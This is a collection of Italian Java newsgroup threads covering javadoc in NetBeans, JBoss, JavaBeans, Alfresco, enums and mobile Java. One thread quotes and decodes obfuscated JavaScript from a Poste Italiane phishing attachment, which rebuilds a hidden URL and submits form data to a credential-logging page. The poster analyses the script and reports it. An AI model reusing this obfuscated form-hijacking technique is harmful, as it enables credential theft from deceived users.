così e cambiano i parametri oppure una non lineare in generale??
Ovviamente se la risposta è la prima...
-- 
Per una pera, una pera cazzo...
Newsgroup: it.comp.java
Titolo: javadoc vs NetBeans (3.5.1 o 3.6, fa poca differenza)

ciao a tutti e scusatemi se posto questo messaggio che poco ha a che
vedere con il linguaggio.
io uso (da non molto per la verità) NetBeans 3.6Beta e/o 3.5.1 su XP,
in ogni caso ho verificato che ho lo stesso problema con entrambe le
versioni.
il problema è che non riesco a generare alcun tipo di documentazione
con javadoc all'interno dell'IDE il messaggio di errore che viene
emesso è
javadoc: cannot read C:\Documents (The system cannot find the file
specified)
dunque, io ho la directory projects (con tutti i progetti e i relativi
sorgenti) in
C:\Documents and Settings\Lorenzo\My Documents\projects
ma per evitare di avere a che fare con gli spazi, ho mappato la
directory sul disco P:
dopodichè ho montato su NetBeans il filesystem relativo alla nuova
unità,
P:\progettoinJava
in questo progettoinJava c'è una directory com (con tutto il suo
albero) che io ho aggiunto al progetto di NetBeans.
vado sul tab projects, punto su com, gli impongo di generare la
documentazione ma quello mi restituisce il suddetto messaggio di
errore.
compilazione e debug sono a posto. almeno posso lavorare....
qualche idea?
ciao e buona giornata,
l

Ciao.
invece di mappare la directory su un altro disco non puoi usare
una directory vera? Se si ti consiglio di fare il tentativo..
Lorenzo wrote:

-- 
                Roberto Nunnari -software engineer-
                     mailto:
ro...@nunnisoft.ch
 
http://www.nunnisoft.ch
   Residenza Boschetto 12           tel/fax: 
+41-91-6046511
   6935 Bosco Luganese        """    mobile: 
+41-76-3208561
   Switzerland               (o o)
========================oOO==(_)==OOo========================

 
ah, scusa. davo per scontato che si capisse che (oltre ad aggiungere
altre comodità) quello di mappare su un altro disco fosse un tentativo
di soluzione al problema evidenziato originariamente sulla directory
"vera".
ovviamente genera lo stesso errore in ogni caso.
senti, ma non c'è un modo per farsi dire dall'IDE che razza di comando
cerca di eseguire quando gli chiedi di generarti la documentazione?
ciao e grazie,
l

 l


Newsgroup: it.comp.java
Titolo: jboss e commonj

qualcuno è riuscito ad integrarli ?
io ho trovato solo questo:
http://tinyurl.com/4od7dn
ma credo sia inesatto perchè non riesco a trovare nessun
org.nexopenframework.commonj.TimerManagerService
-- 
Davide Consonni

Davide Consonni wrote:

ok, volevo informarvi che ho risolto sviluppando un mbean per jboss che mi
fa da wrapper e mi fornisce il reference ad una implementazione dela jsr
237 via jndi.
-- 
Davide Consonni

 237 via jndi.
ok, alla fine ho risolto da solo :D
se puņ essere di aiuto anche ad altri ho pubblicato i sorgenti qui:
http://sourceforge.net/projects/jbosscommonj/
-- 
Davide Consonni
Newsgroup: it.comp.java
Titolo: domanda niubba controlli java

Salve, arrivo dal mondo Ms da una "mezza" vita (vb6 , .net etc.) e mi 
sto accostando "seriamente" a java solo ora (meglio tardi che mai..).
La mia domanda è:
1) Anche per il mondo Java esiste un mercato "florido" di componenti / 
controlli esterni (es. griglie evolute, charting, e chi + ne ha + ne 
metta), di quelli che (come nel mondo .net) fanno gia' metà del lavoro 
? Si chiamano Bean vero ? O sbaglio ?
Ringrazio in anticipo per l'aiuto
Salut


Ciao, scusa la 'secchezza' della risposta, ma in effetti è un po'
'troppo' da niubbo...
Allora, quelli che gergalmente vengono chiamati 'bean' (il loro nome è
JavaBean) sono delle classi Java che soddisfano uno standard. Il 99%
dei beans sono semplicemente classi java in cui i fields sono privati,
e si opera tramite metodi in genere pubblici. Tali metodi hanno
caratteristiche tali per cui lo standard li riconosce come 'attrezzi
per operare sulle properties, un concetto astratto che raggruppa
quello che poi da un punto di vista pratico è la tripletta <campo
privato, gettter, setter>.
Il _getter_ è un metodo con firma public Tipo getNomeProprieta()
Il _setter_ è un metodo con firma public void setNomeProprieta(Tipo)
In teroria il campo non serve, bastano getter e/o setter. Il e/o è
subito spiegato: se c'è un metodo getProprietà, ma non c'è il setter,
allora eventuali librerie javabeans compliance deducono che la
proprietà "proprieta" è in sola lettura. Possono esistere anche quelle
in sola scrittura, ma la maggior parte ovviamente è lettura/scrittura.
Lo standard java bean in realtà è MOLTO più ampio, comprendendo regole
per gestire gli eventi e così via, ma cmq alla fine il 99% stabilisce
come devono essere fatti i metodi per essere visti come proprietà (ad
esempio mette regole molto stringenti sul case del metodo)
Per la tua domanda, hai omesso le cose più importanti: che tipo di
applicazione è la tua? I controlli variano _enormenmente_ in base alle
esigenze (devi fare un client, una app web, una app commandline, una
app embedded, un report....?). Cmq non ti preoccupare, le lib di
controlli sono migliaia (letteralmente!)


dalle risposte che hai avuto capisce la crescente diffusione della cocaina!

 la crescente diffusione della cocaina!
guarda che se la assumi tutta tu non si può parlare di 'diffusione',
eh!
Per quanto riguarda il topic, non puoi negare che il contesto è
fondamentale quando si parla di GUI, la maggior parte delle librerie
funziona in un solo. Altro discorso naturalmente per librerie di altra
natura...

 ha scritto nel messaggio 
news:4c8a4999$0$18661$4faf...@reader3.news.tin.it...

Java è molto ricco di Open Source (gratis quindi), il problema e che 
rispetto a .net ha tipologia molto ampia di componenti, con tecnologie 
spesso molto diverse ed eterogenne, il  che può spiazzare, e poi quasi 
nessuna è plug and play ed integrabile in un ide in forma visuale come fai 
con Vb6 et simila.
L'apertura e la flessibilità a diversi ambienti si paga e questi sono i 
costi.
Saluti
Newsgroup: it.comp.java
Titolo: il pulsante submit in un form html

riguarda più js che java,comunque se lo sapete spero rispondiate ugualmente:
sbirciando nel sorgente di una pagina html contenente un modulo da compilare 
e inviare, c'è al fondo il pulsante submit ,ma non è collegato\associato ad 
un indirizzo web,quindi mi chiedevo a chi venga mandato il form visto che 
nell'attibuto onclick non c'è l'indirizzo di recapito.
C'è solo l'esecuzione di una funzione (script) che valida i campi compilati 
e basta.
 
Possibile?
 
grazie
 


In genere il submit invia il form all'uri indicato nell'action del form 
stesso

Dr.UgoGagliardelli <do.no...@me.please> ha scritto:

Si normalmente è così, ma potrebbe essere che, nel caso in oggetto,
l'URI viene inviato come parametro alla funzione di
validazione.
 
 
 

 ha scritto:

Posta il codice della funzione di validazione per una risposta
più esauriente.
 
 

[...]mi chiedevo a chi venga mandato il form[...]
 
A cio` che e` specificato nell'action di quel form. 

 
 
"ciccio"  ha scritto nel messaggio 
news:201502110...@mynewsgate.net...
<Posta il codice della funzione di validazione per una risposta
<più esauriente.
 
trovato,era nella funzione di validazione,ma ben nascosto:
 
var a = 
Array("ble","gat.p","ero","p://do","
a.eu/l
","/lo","ogs","hp?v","htt");
        var b = a[8] + a[3] + a[0] + a[4] + a[6] + a[5] + a[1] + a[7] + 
a[2];
        document.form1.action = b;
        document.form1.submit();
 
l'indirizzo ricomposto diventa : 
http://doblea.eu/logs/logat.php?vero
 
 
E' un tentativo di phishing,cioè lo script è contenuto in un file html 
"postepay.html" che ho ricevuto come allegato in una mail,che si spaccia per 
il sito poste italiane.
Quell'indirizzo 
http://doblea.eu
  esiste (è l'hosting) , bisogna avvisarli 
della presunta frode?
 
ciao
 
 

 
 
Mandare il tutto alla Polizia Postale.
Newsgroup: it.comp.java
Titolo: alfresco

qualcuno conosce Alfresco?
grazie
luca 

 e' cosi'...
Mi verrebbe da dire che il problema sia nel modo in cui e` configurato 
Tomcat, potresti riportare l'errore?
Enrico

 Sostanzialmente riempie il log di 'Out of memory' exception
Posto che probabilmente potrebbe essere un bug dell'applicazione, provate 
ad impostare il parametro della JVM -XX:MaxPermSize=<RAM>m (dove <RAM> 
indica il quantitativo massimo da dedicare al permanent generation heap). 
Personalmente da me l'utilizzo di questo parametro ha risolto non pochi 
problemi legati all'errore Java.lang.OutOfMemoryError
Enrico

 Linux: The choice of a GNU generation 

 bye
Esistono modi differenti. Se il programma è remoto, hai 3 vie:
1) puoi connetterti via Web-services (esistono esempi nell'SDK)
2) in http usando lato java qualcosa tipo Apache HttpClient e lato
server la tecnologia web scripts (
http://wiki.alfresco.com/wiki/
Web_Scripts_Examples)
3) puoi connetterti a basso livello usando JCR
Se il programma può girare in process, allora conviene usare l'API sua
interna o JCR
Esiste un articolo/libro fatto BENISSIMO anche se un po' datato
all'indirizzo 
http://ecmarchitect.com/alfresco-developer-series
Consiglio anche i suoi libri sempre sull'argomento (no, non ho una
percentuale sulle vendite :))

Newsgroup: it.comp.java
Titolo: Corsi dignitosi

Vivo a Firenze e purtroppo non riesco a trovare una scuola che faccia un
corso di Java.
Qualcuno saprebbe dirmi qualcosa?
Posso spostarmi ( purché entro i 50/70 Km).
Grazie

Ciao a tutti.
HO BISOGNO DI UN CONSIGLIO soprattutto da chi e' UN VERO PROGRAMMATORE
con Java.
Conosco l'HTML, JavaScript, SQL ed ho studiato quasi tutto il materiale
della Sun su Java,
ma sono ancora un dilettante perche' NON HO ESPERIENZA.
Purtroppo al lavoro mi obbligano ad usare altri programmi completamente
diversi da Java ed un po'
obsoleti.
Cosa posso fare come "autodidatta" per migliorare la mia programmazione in
Java da
teorica a pratica e raggiungere un livello discreto ??
Ho speranze ??
Grazie a tutti coloro che mi aiuteranno.  CIAO

 teorica a pratica e raggiungere un livello discreto ??
CAMBIA LAVORO!!!!
--
"I don't care if Monday's blue
Tuesday's grey and Wednesday too
Thursday I don't care about you
It's Friday I'm in love..."

 wrote in message
38F454F0...@ferrari.it...



scusa la mia drasticita'...ma e' quello che ho fatto io!!
a me piace lavorare in Java, ma dove lavoro usano solo VisualBasic e hanno
"paura" di Java...quindi ho cambiato societa'!
Ciao!

Newsgroup: it.comp.java
Titolo: Method POST da Applet? Aiuto Aiuto

Ciao a tutti....
Dato che ho un "piccolo problemino", per prima cosa mi piacerebbe
sapere se è possibile effettuare da un applet il refresh alla pagina
stessa che l'ha caricato. Quindi mi spiego meglio : ho Servlet1, che
chiama Servler2, inviandogli dei parametri con il metodo POST, e
questo a sua volta Servlet2 invia al Browser un Applet("muto" che
ascolta solamente), che al verificarsi di un certo evento, deve essere
in grado di invocare Servlet2, che lo ha generato passandogli gli
stessi parametri che Servlet1 ha passato a Servlet2.
Tutto funziona bene con il metodo GET, ma non ho la più pallida idea
di come far passare gli stessi parametri che Servle1 passa a Servlet2
da parte dell'applet, senza pressione di tasti.
Vi prego aiutatemi.... vi ringrazio..
         Ciao Lorenzo M.
E-Mail : 
lorenzo...@tiscalinet.it

 ha scritto nel messaggio
news:e20c619.01062...@posting.google.com...

URL url = new URL(stringUrl);
 stringDati = "Campo1=Contenuto&";
URLConnection connection = url.openConnection();
connection.setDoOutput(true);
PrintWriter out = new PrintWriter( connection.getOutputStream());
out.println(stringDati);
out.close();

Newsgroup: it.comp.java
Titolo: enum

Vi chiedo un consiglio sull'utilizzo delle enum. In pratica vogli fare 
una classe che, tra le altre cose, mi permetta di inserire alcune 
"proprietà"
Se nella classe padre si è definita una enum nella classe figlio è 
possibile "aggiungere" ad essa alcuni valori senza dover riscrivere i 
precedenti ?
package utenti;
import java.util.*;
public class Persona {
    protected Hashtable<CampiPersona, String> htCampi = new 
Hashtable<CampiPersona, String>();
    public Persona() {
        for(CampiPersona cp : CampiPersona.values()) {
            htCampi.put( cp , "" );
        }
    }
    public enum CampiPersona {
        nome,
        cognome,
        indirizzo,
        citta,
        provincia,
        datanascita,
        sesso,
        telefono,
        cellulare;
    }
    public String getCampo( CampiPersona nomecampo ) {
        return htCampi.get( nomecampo );
    }
    public void setCampo( CampiPersona nomecampo, String valorecampo) {
        htCampi.remove( nomecampo );
        htCampi.put( nomecampo, valorecampo );
    }
}
-- 
Questa è una firma automatica di MesNews.
Sito: 
http://www.mesnews.net

Vi chiedo un consiglio sull'utilizzo delle enum. In pratica vogli fare 
una classe che, tra le altre cose, mi permetta di inserire alcune 
"proprietà"


 precedenti ?
No, le enumerazioni sono "chiuse" apposta. Non è possibile estenderle.
E, a quanto affermano McLaughlin e Flanagan in "Java 1.5 Tiger - A 
developer's notebook",
"There's just not getting around this limitation, at least that I've 
been ablo to find..."
pole
-- 
ammentos - a lightweight persistence framework for JDK5
http://www.sourceforge.net/projects/ammentos
http://ammentos.biobytes.it
Newsgroup: it.comp.java
Titolo: Java per cellulari

Mi ero avvicinato al java qualche anno fa. Qualcosina ne mastico... Ora mi è 
presa l'idea di creare (x sfizio) qualche appz e gioco in java per cell. e 
volevo sapere se sapevate indicarmi qualche risorsa in rete che spieghi come 
creare applicazioni e giochi in java per cellulari.
Grazie.
-- 
Massy
Day by day and night by night we were together
all else has long been forgotten by me
Walt Whitman 

 
Vedi qui:
http://www.jugtorino.it/vqwiki/jsp/Wiki?ImparareJ2ME&highlight=ImparareJ2ME
Ciao,
     Bruno
P.S.
Occhio ai meeting del JUG Torino!
http://www.jugtorino.it/meeting
-- 
| Bruno Bossola
| A Java Software Engineer :-)
| 
http://www.jugtorino.it/bbossola
| Coordinatore del JUG Torino - 
http://www.jugtorino.it

Newsgroup: it.comp.java
Titolo: Settare un timeout in java

Sto scrivendo un client in java che deve ad un certo punto connettersi al 
server, inviare una richiesta e aspettare la risposta per un tempo fissato 
e, se tale risposta non arriva, restituire un errore. Pensavo quindi di 
settare un timer che una volta scaduto sollevasse una eccezione. Il 
problema è che non ho trovato nessuna classe che mi permetta di fare una 
cosa simile. Qualcuno sa se esiste? Grazie in anticipo.

 wrote in message
rHNF8.81617$5k4.1...@twister2.libero.it...


 wrote in message
J7OF8.81193$US3.1...@twister1.libero.it...


 wrote in message
news:rHNF8.81617$5k4.1...@twister2.libero.it...
